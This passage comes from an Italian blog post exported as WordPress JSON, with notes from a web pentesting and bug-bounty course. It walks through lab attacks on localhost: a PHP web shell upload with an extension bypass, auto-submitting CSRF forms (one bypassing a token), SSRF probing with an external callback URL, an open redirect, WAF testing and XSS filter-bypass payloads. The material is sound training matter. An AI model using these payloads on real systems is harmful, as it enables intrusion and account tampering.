provare altre estensioni eseguibili:<\/p>\n\n\n\n<p>.phtml<\/p>\n\n\n\n<p>.php3<\/p>\n\n\n\n<p>.php4<\/p>\n\n\n\n<p>.php5<\/p>\n\n\n\n<p>Consultare i seguenti link:<\/p>\n\n\n\n<p><a href=\"https:\/\/appsecexplained.gitbook.io\/appsecexplained\/common-vulns\/insecure-file-upload\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/appsecexplained.gitbook.io\/appsecexplained\/common-vulns\/insecure-file-upload<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/portswigger.net\/web-security\/file-upload\">https:\/\/portswigger.net\/web-security\/file-upload<\/a><\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Insecure File Upload Challenge Walkthrough<\/strong><\/p>\n\n\n\n<p>Primo Test: accediamo alla funzione di upload e vediamo quali tipi di file sono accettati. Creiamo il file test.txt contenente il testo \u201c<em>test<\/em>\u201d e poi lo carichiamo:<\/p>\n\n\n\n<p><em><code>echo \u2018test\u2019 &gt; test.txt<\/code><\/em><\/p>\n\n\n\n<p>L&#8217;applicazione mostra un popup con il messaggio che accetta solo file JPG e PNG.<\/p>\n\n\n\n<p>Riproviamo con un file accettato ed invio la richiesta POST al Repeater e apportiamo le seguenti modifiche da cos\u00ec:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXdzcCLWGULe9sIfbh5bJcY2aF6_bqPFJEYHivoAG8G1njZL02OUVxMpT867LeVRrNDyb087RVVm-Gz_eA85klTVF0DUm9dQ5Z1K0bVrb7F7mW_nEMF_kK37-DI4JHN0Ye5wyBqg?key=AJ7ssV3wsusIqbWMhSHqqx7N\" alt=\"\"\/><\/figure>\n\n\n\n<p>a cos\u00ec:<\/p>\n\n\n\n<p><em><code>&lt;?php system($_GET['cmd']); ?&gt;<\/code><\/em><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXcUBYt6wr-NkZvm4tSEdgICLrvjZqQl2DeRX7dyDt6IOenS_vhEcZi6Ub8CH9hBQyWh4LG4tN6ONt-h2jRZhiEJKVQsOsuCN0UTSIm3EB8WJTq9hjH9o9lBsT7LLHqnZ33x9tpcsA?key=AJ7ssV3wsusIqbWMhSHqqx7N\" alt=\"\"\/><\/figure>\n\n\n\n<p>SEND, ma nel Response leggiamo:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXd5unuU27QiRZRFzAJM463wPxaTOy2mbvOZAUt83wIqytMUDGEqnZCqimKQ6fqmDXzK42Xu7M6Mr1QxAwtz84RJj4lMy98srCjv6DNrZ3N-1h3b_P4gcAYpMKMXCpGCfzx7dbjRhw?key=AJ7ssV3wsusIqbWMhSHqqx7N\" alt=\"\"\/><\/figure>\n\n\n\n<p>Allora possiamo provare altre estensioni eseguibili:<\/p>\n\n\n\n<p>.phtml<\/p>\n\n\n\n<p>.php3<\/p>\n\n\n\n<p>.php4<\/p>\n\n\n\n<p>.php5<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXdI3OMh3EgoGOIHn6JddQHE0ydLeKb0pcietB5AjSOiRq2PtIEU6QYtAVH4kDNttG-LxqDgApcx-7JMrlZL-3ZduWb8gQojdppe0XZu4VtHvRUkkK3woRGQgtR03hyny_CUd_yM?key=AJ7ssV3wsusIqbWMhSHqqx7N\" alt=\"\"\/><\/figure>\n\n\n\n<p>SEND e questa volta il file viene caricato, aggiorniamo la pagina e verifichiamo per conferma.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXd6YhLv5Be7lP54mrgOdzA8GOEKh4tfYpc74UL5VGn8pgLiNah-uy4KitjJkhsoI2ea6dqPFEdQ-Ip891UL0t8OE1ic6KFALisaO7ew0gdLW5_GdhRskCRewb0_tPuVSmRrzMaofw?key=AJ7ssV3wsusIqbWMhSHqqx7N\" alt=\"\"\/><\/figure>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Automated Scanners<\/strong><\/p>\n\n\n\n<p>Free:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>OWASP ZAP: <a href=\"https:\/\/www.zaproxy.org\/\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/www.zaproxy.org\/<\/a><\/li>\n\n\n\n<li>Arachni: <a href=\"https:\/\/github.com\/Arachni\/arachni\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/github.com\/Arachni\/arachni<\/a><\/li>\n\n\n\n<li>Wapiti: <a href=\"https:\/\/github.com\/wapiti-scanner\/wapiti\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/github.com\/wapiti-scanner\/wapiti<\/a><\/li>\n\n\n\n<li>Vega: <a href=\"https:\/\/subgraph.com\/vega\/\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/subgraph.com\/vega\/<\/a><\/li>\n\n\n\n<li>Sqlmap: <a href=\"https:\/\/sqlmap.org\/\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/sqlmap.org\/<\/a><\/li>\n\n\n\n<li>Skipfish: <a href=\"https:\/\/github.com\/spinkham\/skipfish\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/github.com\/spinkham\/skipfish<\/a><\/li>\n<\/ul>\n\n\n\n<p>Commerciali:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Burp Suite<\/li>\n\n\n\n<li>Nessus<\/li>\n\n\n\n<li>Acunetix<\/li>\n\n\n\n<li>AppScan<\/li>\n\n\n\n<li>Veracode<\/li>\n\n\n\n<li>Netsparker<\/li>\n\n\n\n<li>Qualys Web Application Scanning (WAS)<\/li>\n<\/ul>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Scripting and Automation<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Subfinder \u2192 Rileva subdomini.<\/li>\n\n\n\n<li>Assetfinder \u2192 Scansiona domini per trovare sottodomini correlati.<\/li>\n\n\n\n<li>Amass \u2192 Strumento avanzato per la scoperta di sottodomini.<\/li>\n\n\n\n<li>httprobe\u2192 Controlla se un subdominio \u00e8 attivo.<\/li>\n\n\n\n<li>Gowitness \u2192 Scatta screenshot di subdomini attivi.<\/li>\n\n\n\n<li>Nmap \u2192 Effettua la scansione delle porte aperte.<\/li>\n<\/ul>\n\n\n\n<p><em><code>.\/recon-new.sh<\/code><\/em><\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Cross-Site Request Forgery (CSRF) Attacks<\/strong><\/p>\n\n\n\n<p>Il <strong>Cross-Site Request Forgery (CSRF)<\/strong> \u00e8 un attacco in cui un utente autenticato viene ingannato nel compiere un&#8217;azione indesiderata all&#8217;interno di un&#8217;applicazione web.<\/p>\n\n\n\n<p><a href=\"https:\/\/owasp.org\/www-community\/attacks\/csrf\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/owasp.org\/www-community\/attacks\/csrf<\/a><\/p>\n\n\n\n<p>Analisi della richiesta HTTP con Burp Suite<\/p>\n\n\n\n<p>Accediamo all\u2019account di Jeremy.<\/p>\n\n\n\n<p>Modifichiamo l\u2019email (es. jeremy@jeremy.com).<\/p>\n\n\n\n<p>Intercettiamo la richiesta con Burp Suite:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><em>POST \/csr0x01.php HTTP\/1.1\nHost: localhost\nContent-Type: application\/x-www-form-urlencoded\nemail=jeremy%40jeremy.com&amp;submit=Update<\/em><\/code><\/pre>\n\n\n\n<p>Notiamo che la richiesta non contiene un CSRF token, il che significa che possiamo replicarla facilmente.<\/p>\n\n\n\n<p>In Burp Suite pro:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXcIShEe7EBmWsONI6ndWsM9SZ3h_SmHyhCuv422JSWmGiTteD8MbJ8clAL8-nycgnjnByRo15Rkus1TbPqaWo_qJG9Rd_qX94GJpO8ZIrWaR573efkx6DwYeLA2K2jT8orz4MY89Q?key=AJ7ssV3wsusIqbWMhSHqqx7N\" alt=\"\"\/><\/figure>\n\n\n\n<p>invece nella CE copiamo dal Response la parte relativa al <em>&lt;form&gt;<\/em>:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXcEsvlmA4yI8FzQlXrvjuu3DtxNduLY1nQ2vEGcE4RPHrjOqP9uEc9FU-vR9bZ__DsCroMOwYSt-ipgD2xMm0-mJmvj73alGNXnm_fcVVql5KEle5UFS_YBHYTLu4Ru2lbAro9HVg?key=AJ7ssV3wsusIqbWMhSHqqx7N\" alt=\"\"\/><\/figure>\n\n\n\n<p>Creiamo un modulo HTML nascosto che invia automaticamente una richiesta POST. Quando la vittima visita la pagina, il browser invia la richiesta senza che l&#8217;utente se ne accorga. L&#8217;email di Jeremy verr\u00e0 modificata a csrf@csrf.com senza il suo consenso. Se Jeremy visita questa pagina mentre \u00e8 autenticato, il suo indirizzo email verr\u00e0 aggiornato senza interazione!<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><em>file:\/\/\/home\/kali\/bb-course\/esercizi\/csrf.html\n\n&lt;html&gt;\n&lt;body&gt;          \t \n          \t \n&lt;form action=\"http:\/\/localhost\/labs\/csrf0x01.php\" method=\"post\"&gt;\n&lt;input type=\"text\" name=\"email\" value=\"csrf@csrf.com\"&gt;\n&lt;button type=\"submit\"&gt;Submit&lt;\/button&gt;\n&lt;\/form&gt;\n\n&lt;script&gt;\nwindow.onload = function() {\n\tdocument.forms&#91;0].submit();\n}\n&lt;\/script&gt;\n\n&lt;\/body&gt;           \t \n&lt;\/html&gt;<\/em><\/code><\/pre>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Cross-Site Request Forgery (CSRF) Token Bypass<\/strong><\/p>\n\n\n\n<p><a href=\"https:\/\/appsecexplained.gitbook.io\/appsecexplained\/common-vulns\/cross-site-request-forgery-csrf\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/appsecexplained.gitbook.io\/appsecexplained\/common-vulns\/cross-site-request-forgery-csrf<\/a><\/p>\n\n\n\n<p>Analisi della richiesta HTTP con Burp Suite<\/p>\n\n\n\n<p>Accediamo all\u2019account di Jeremy.<\/p>\n\n\n\n<p>Modifichiamo l\u2019email (es. jeremy@jeremy.com).<\/p>\n\n\n\n<p>Intercettiamo la richiesta con Burp Suite:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXeYwV7mfT3XJqIb4gcacwDOzFPzmr3XpHdqKQZMUBS26tsKWf2SL0WZWyP6pcJ13rXzLAuK1RdcX8QRUptIKHcgk14eU8jdSH5T9enZvg0lF4T5iu9B7xst4TXs1CxD5FtGkQPmNg?key=AJ7ssV3wsusIqbWMhSHqqx7N\" alt=\"\"\/><\/figure>\n\n\n\n<p>c&#8217;\u00e8 un token CSRF.<\/p>\n\n\n\n<p>Verifichiamo se il token \u00e8 effettivamente controllato.<\/p>\n\n\n\n<p>Costruiamo un Proof of Concept (PoC) per testare il bypass, la riga di codice in rosso replica quella del Response ma inseriamo un valore arbitrario al csrf:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><em>&lt;html&gt;\n&lt;body&gt;          \t \n          \t \n&lt;form action=\"http:\/\/localhost\/labs\/csrf0x02.php\" method=\"post\"&gt;\n&lt;input type=\"text\" name=\"email\" value=\"csrf@csrf.com\"&gt;\n<mark>&lt;input type=\"text\" name=\"csrf\" id=\"csrf\" value=\"prova123\" hidden&gt;<\/mark>\n&lt;button type=\"submit\"&gt;Submit&lt;\/button&gt;\n&lt;\/form&gt;\n\n&lt;script&gt;\nwindow.onload = function() {\n\tdocument.forms&#91;0].submit();\n}\n&lt;\/script&gt;\n\n&lt;\/body&gt;           \t \n&lt;\/html&gt;<\/em><\/code><\/pre>\n\n\n\n<p>Se Jeremy visita questa pagina mentre \u00e8 autenticato, il suo indirizzo email verr\u00e0 aggiornato senza interazione!<\/p>\n\n\n\n<p><em><code>file:\/\/\/home\/kali\/bb-course\/esercizi\/csrf2.html<\/code><\/em><\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Exploiting Server-Side Request Forgery (SSRF<\/strong>)<\/p>\n\n\n\n<p>La <strong>Server-Side Request Forgery (SSRF)<\/strong> \u00e8 una vulnerabilit\u00e0 che consente a un attaccante di indurre il server a eseguire richieste per suo conto.<\/p>\n\n\n\n<p>Il sito permette di verificare i prezzi di alcuni prodotti tramite API.<\/p>\n\n\n\n<p>Analisi delle richieste con Burp Suite<\/p>\n\n\n\n<p>Intercettiamo la richiesta HTTP con Burp Suite.<\/p>\n\n\n\n<p>Identifichiamo il parametro che contiene l\u2019URL di destinazione.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXcRN-si_G3WRtpzmAO5S5PkOsbqqM4ZOU7RaSv7TWDUy9WYt-hgmJbefa5_I8Cw3oXdULGiZntkA7mN6KIdGAvzv9eoVQj6oksbdn_Zzrzdyc8-q79cVYI0ZkDDbPPg46qOHjQ5xw?key=AJ7ssV3wsusIqbWMhSHqqx7N\" alt=\"\"\/><\/figure>\n\n\n\n<p>Il parametro url \u00e8 controllato dall\u2019utente. Se l\u2019applicazione effettua una chiamata HTTP a qualsiasi URL fornito dall\u2019utente, potremmo sfruttarlo per accedere a risorse interne<\/p>\n\n\n\n<p>Effettuiamo una scansione per individuare endpoint interni interessanti:<\/p>\n\n\n\n<p><em><code>ffuf -u http:\/\/localhost\/labs\/api\/FUZZ -w \/usr\/share\/wordlists\/dirb\/common.txt<\/code><\/em><\/p>\n\n\n\n<p>Abbiamo trovato <em><code>\/admin.php<\/code><\/em> come endpoint interessante,<\/p>\n\n\n\n<p>Modifichiamo la richiesta nel Repeater per puntare a<\/p>\n\n\n\n<p><em>localhost\/labs\/api\/admin.php<\/em><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXd1XWNJ9gHBfu62i4d2QpshX8ABGyzQKzo88mw4_6-bEbFwsedMZ68HetX2FFUq71Cebf_v2e0Pr0wcUVG342oGQgOoxycwzpkBtF4-Y3gswcH_eAobXiAzBCTr8FZZEWqex9othA?key=AJ7ssV3wsusIqbWMhSHqqx7N\" alt=\"\"\/><\/figure>\n\n\n\n<p>Risultato:<\/p>\n\n\n\n<p><em><code>Welcome to the admin panel<\/code><\/em><\/p>\n\n\n\n<p>Modifichiamo la richiesta per provare diverse IP interni.<\/p>\n\n\n\n<p><em><code>\u201curl\u201d:http:\/\/10.10.10.1\/<\/code><\/em><\/p>\n\n\n\n<p><em><code>\u201curl\u201d:http:\/\/192.168.203.128\/<\/code><\/em><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXe5-wAeHBCX0LRJYJy0LHR6o9pmbtRPsf-Z0zEn679Cf19OC0aRUH1LRhMaYDem03gLq8VMfiQGDlZpqLxtmk14GuFnUq2EpmFXuHWbDKf1k0c8874Zjn6HvykbKBW0lN0h6SYinQ?key=AJ7ssV3wsusIqbWMhSHqqx7N\" alt=\"\"\/><\/figure>\n\n\n\n<p>Se il server risponde, significa che esiste un servizio sulla rete interna. Possiamo iterare su pi\u00f9 porte per identificare altri servizi interni esposti.<\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Blind Server-Side Request Forgery (SSRF)<\/strong><\/p>\n\n\n\n<p>A differenza della SSRF classica, in una<strong> Blind SSRF<\/strong> (SSRF cieca) non vediamo direttamente la risposta della richiesta che inviamo.<\/p>\n\n\n\n<p>Il server effettua la richiesta per conto nostro, ma noi non riceviamo un feedback visibile.<\/p>\n\n\n\n<p>Procedura per identificare la Blind SSRF con Burp Suite:<\/p>\n\n\n\n<p>Intercettiamo la richiesta con Burp Suite e la inviamo a Repeater.<\/p>\n\n\n\n<p>Modifichiamo il valore dell&#8217;URL nel parametro vulnerabile, puntando all\u2019endpoint <em>admin.php<\/em>:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXfBWCLtyt63KzCiZkBOFz71L-j8BE76nXeXv_ubhrKNA_lR6wBYfpKaKiImEcFT1bTN_mzxaDOGOCNunpCpPDaPZVf27j7Cl0K_Zta2PhLW5teWQkgubA9giH64hOmd7Yi8Y5JnKA?key=AJ7ssV3wsusIqbWMhSHqqx7N\" alt=\"\"\/><\/figure>\n\n\n\n<p>Risultato:<\/p>\n\n\n\n<p><em>Errore: dati non validi da terze parti.<\/em><\/p>\n\n\n\n<p>Il server effettua la richiesta, ma si aspetta una risposta in un formato specifico.<\/p>\n\n\n\n<p>Anche se otteniamo un errore, questo non significa che l\u2019SSRF non sia presente.<\/p>\n\n\n\n<p>Metodo per rilevare una Blind SSRF con Webhook.site:<\/p>\n\n\n\n<p>Apriamo Webhook.site (o un server HTTP controllato da noi).<\/p>\n\n\n\n<p>Copiamo l\u2019URL fornito da Webhook.site.<\/p>\n\n\n\n<p>Inseriamo l\u2019URL come valore nel parametro vulnerabile:<\/p>\n\n\n\n<p>Inviamo la richiesta e osserviamo Webhook.sit.<\/p>\n\n\n\n<p>Se vediamo una richiesta arrivare sul nostro webhook, significa che l\u2019SSRF \u00e8 presente.<\/p>\n\n\n\n<p>Alternativa con Burp Collaborator<\/p>\n\n\n\n<p>Se abbiamo Burp Suite Professional, possiamo usare Collaborator per rilevare SSRF.<\/p>\n\n\n\n<p>Nel parametro vulnerabile, inseriamo un payload di Collaborator:<\/p>\n\n\n\n<p><em><code>url=http:\/\/your-collaborator-subdomain.burpcollaborator.net<\/code><\/em><\/p>\n\n\n\n<p>Inviamo la richiesta e controlliamo la scheda Collaborator.<\/p>\n\n\n\n<p>Se vediamo richieste in arrivo, significa che il server sta effettuando le connessioni per noi.<\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Open Redirect<\/strong><\/p>\n\n\n\n<p>L&#8217;Open Redirect \u00e8 una vulnerabilit\u00e0 che consente a un attaccante di reindirizzare gli utenti a un sito web malevolo, sfruttando un parametro URL controllato dall&#8217;utente.<\/p>\n\n\n\n<p>Da cos\u00ec:<\/p>\n\n\n\n<p><em><code>http:\/\/localhost\/labs\/r0x01_script.php?id=1&amp;return_url=.\/r0x01.php<\/code><\/em><\/p>\n\n\n\n<p>a cos\u00ec:<\/p>\n\n\n\n<p><em><code>http:\/\/localhost\/labs\/r0x01_script.php?id=1&amp;return_url=http:\/\/google.com<\/code><\/em><\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Introduction to Vulnerable Components<\/strong><\/p>\n\n\n\n<p>Nello sviluppo moderno, gli sviluppatori incorporano librerie, framework e plugin di terze parti nelle loro applicazioni per velocizzare il lavoro.<\/p>\n\n\n\n<p>Se questi componenti sono obsoleti, mal configurati o insicuri, possono introdurre vulnerabilit\u00e0 critiche.<\/p>\n\n\n\n<p>Come Individuare Componenti Vulnerabili?<\/p>\n\n\n\n<p>Strumenti utili:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>BuiltWith<\/li>\n\n\n\n<li>Wappalyzer<\/li>\n\n\n\n<li>DevTools del browser<\/li>\n\n\n\n<li>Ottenere informazioni sulle versioni<\/li>\n<\/ul>\n\n\n\n<p>Dove trovare i dettagli della versione?<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>File README<\/li>\n\n\n\n<li>Codice sorgente<\/li>\n\n\n\n<li>Informazioni sulla licenza<\/li>\n\n\n\n<li>Footer dell\u2019applicazione<\/li>\n<\/ul>\n\n\n\n<p>Cercare vulnerabilit\u00e0 note (CVE, exploit)<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>CVE Details \u2192 <a href=\"https:\/\/www.cvedetails.com\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/www.cvedetails.com<\/a><\/li>\n\n\n\n<li>Exploit-DB \u2192 <a href=\"https:\/\/www.exploit-db.com\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/www.exploit-db.com<\/a><\/li>\n\n\n\n<li>NVD (National Vulnerability Database) \u2192 <a href=\"https:\/\/nvd.nist.gov\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/nvd.nist.gov<\/a><\/li>\n<\/ul>\n\n\n\n<p>Automatizzare l\u2019identificazione di componenti vulnerabili<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><a href=\"https:\/\/github.com\/projectdiscovery\/nuclei\" target=\"_blank\" rel=\"noreferrer noopener\">Nuclei <\/a>\u2192 Scansione automatizzata di CVE note.<\/li>\n\n\n\n<li><a href=\"https:\/\/owasp.org\/www-project-dependency-check\/\" target=\"_blank\" rel=\"noreferrer noopener\">OWASP Dependency-Check<\/a> \u2192 Controlla vulnerabilit\u00e0 nei componenti usati.<\/li>\n\n\n\n<li>Retire.js \u2192 Identifica JavaScript e librerie vulnerabili.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Reporting<\/strong><\/p>\n\n\n\n<p>Il <strong>CVSS<\/strong> (<strong>Common Vulnerability Scoring System<\/strong>) \u00e8 un framework di valutazione della sicurezza che fornisce un metodo standardizzato per valutare la gravit\u00e0 delle vulnerabilit\u00e0.<\/p>\n\n\n\n<p>Aiuta le organizzazioni a dare priorit\u00e0 alle vulnerabilit\u00e0 e consente una comunicazione coerente tra le varie parti interessate.<\/p>\n\n\n\n<p>I <strong>CVE<\/strong> (<strong>Common Vulnerabilities and Exposures<\/strong>) vengono usati per tracciare le vulnerabilit\u00e0.<\/p>\n\n\n\n<p>Il<strong> CVSS<\/strong> viene usato per valutarne la gravit\u00e0.<\/p>\n\n\n\n<p>\u00c8 gestito da <a href=\"http:\/\/first.org\" target=\"_blank\" rel=\"noreferrer noopener\">FIRST.org<\/a>, un\u2019organizzazione no-profit statunitense.<\/p>\n\n\n\n<p><a href=\"https:\/\/cvss.ramhacks.org\/\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/cvss.ramhacks.org\/<\/a>&nbsp; \u2192 mostra le metriche da una stringa vettore<\/p>\n\n\n\n<p><a href=\"https:\/\/gitlab-com.gitlab.io\/gl-security\/product-security\/appsec\/cvss-calculator\/\" target=\"_blank\" rel=\"noreferrer noopener\">GitLab CVSS calculator<\/a> \u2192 consente di rispondere a domande guidate o incollare una vector string<\/p>\n\n\n\n<p><a href=\"https:\/\/cvssadvisor.com\/\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/cvssadvisor.com\/<\/a>&nbsp; \u2192 suggerisce modi per \u201cescalare\u201d una vulnerabilit\u00e0 e aumentare il bounty<\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>WAF Identification and Fingerprinting<\/strong><\/p>\n\n\n\n<p><em><code>wafw00f http:\/\/target.com\/index.php<\/code><\/em><\/p>\n\n\n\n<p>Con Burp Suite:<\/p>\n\n\n\n<p>Si invia un payload innocuo: \u201c<em>hello there<\/em>\u201d \u2192 200 OK<\/p>\n\n\n\n<p>Poi un payload XSS&nbsp;<\/p>\n\n\n\n<p><em><code>&lt;script&gt;alert(1)&lt;\/script&gt;<\/code><\/em><\/p>\n\n\n\n<p>\u2192 <em>403 Forbidden<\/em> \u279c Il WAF blocca l\u2019attacco<\/p>\n\n\n\n<p>Intruder per inviare una lista di payload (es. \u201cFuzzy XSS\u201d)<\/p>\n\n\n\n<p>Alcuni vengono bloccati, ma uno passa: il WAF \u00e8 stato aggirato<\/p>\n\n\n\n<p>Anche se il payload non viene eseguito, passa il controllo del WAF, suggerendo un possibile vettore di attacco.<\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Bypassing Input Validation and Encoding Techniques<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><em>&lt;script&gt;prompt(1)&lt;\/script&gt;\n&lt;img src=x onerror=prompt()&gt;\n&lt;scri&gt;&lt;script&gt;pt&gt;prompt(1)&lt;\/scr&gt;&lt;\/script&gt;&lt;ipt&gt;<\/em><\/code><\/pre>\n\n\n\n<p>Cerca su google:<\/p>\n\n\n\n<p><code><em>cross-site scripting bug bounty write-up<\/em><\/code><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Appunti raccolti durante il corso Practical Web Pentest Associate (PWPA) Certification di TCM, alla cui piattaforma rimando per il materiale necessario. Differenze tra Pen Testing e Bug Bounty Hunting Parliamo brevemente delle differenze tra penetration testing e bug bounty hunting. Nel bug bounty hunting, l\u2019impatto \u00e8 tutto. Facciamo un esempio: supponiamo di testare un sito &hellip; <a href=\"https:\/\/www.fabriziogiancola.eu\/index.php\/2025\/05\/14\/bug-bounty-notes\/\" class=\"more-link\">Leggi tutto<span class=\"screen-reader-text\"> &#8220;Bug Bounty notes&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"iawp_total_views":3,"footnotes":""},"categories":[5,15],"tags":[],"class_list":["post-2130","post","type-post","status-publish","format-standard","hentry","category-burp-suite","category-ethical-hacking"],"_links":{"self":[{"href":"https:\/\/www.fabriziogiancola.eu\/index.php\/wp-json\/wp\/v2\/posts\/2130","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.fabriziogiancola.eu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.fabriziogiancola.eu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.fabriziogiancola.eu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.fabriziogiancola.eu\/index.php\/wp-json\/wp\/v2\/comments?post=2130"}],"version-history":[{"count":71,"href":"https:\/\/www.fabriziogiancola.eu\/index.php\/wp-json\/wp\/v2\/posts\/2130\/revisions"}],"predecessor-version":[{"id":3202,"href":"https:\/\/www.fabriziogiancola.eu\/index.php\/wp-json\/wp\/v2\/posts\/2130\/revisions\/3202"}],"wp:attachment":[{"href":"https:\/\/www.fabriziogiancola.eu\/index.php\/wp-json\/wp\/v2\/media?parent=2130"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.fabriziogiancola.eu\/index.php\/wp-json\/wp\/v2\/categories?post=2130"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.fabriziogiancola.eu\/index.php\/wp-json\/wp\/v2\/tags?post=2130"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}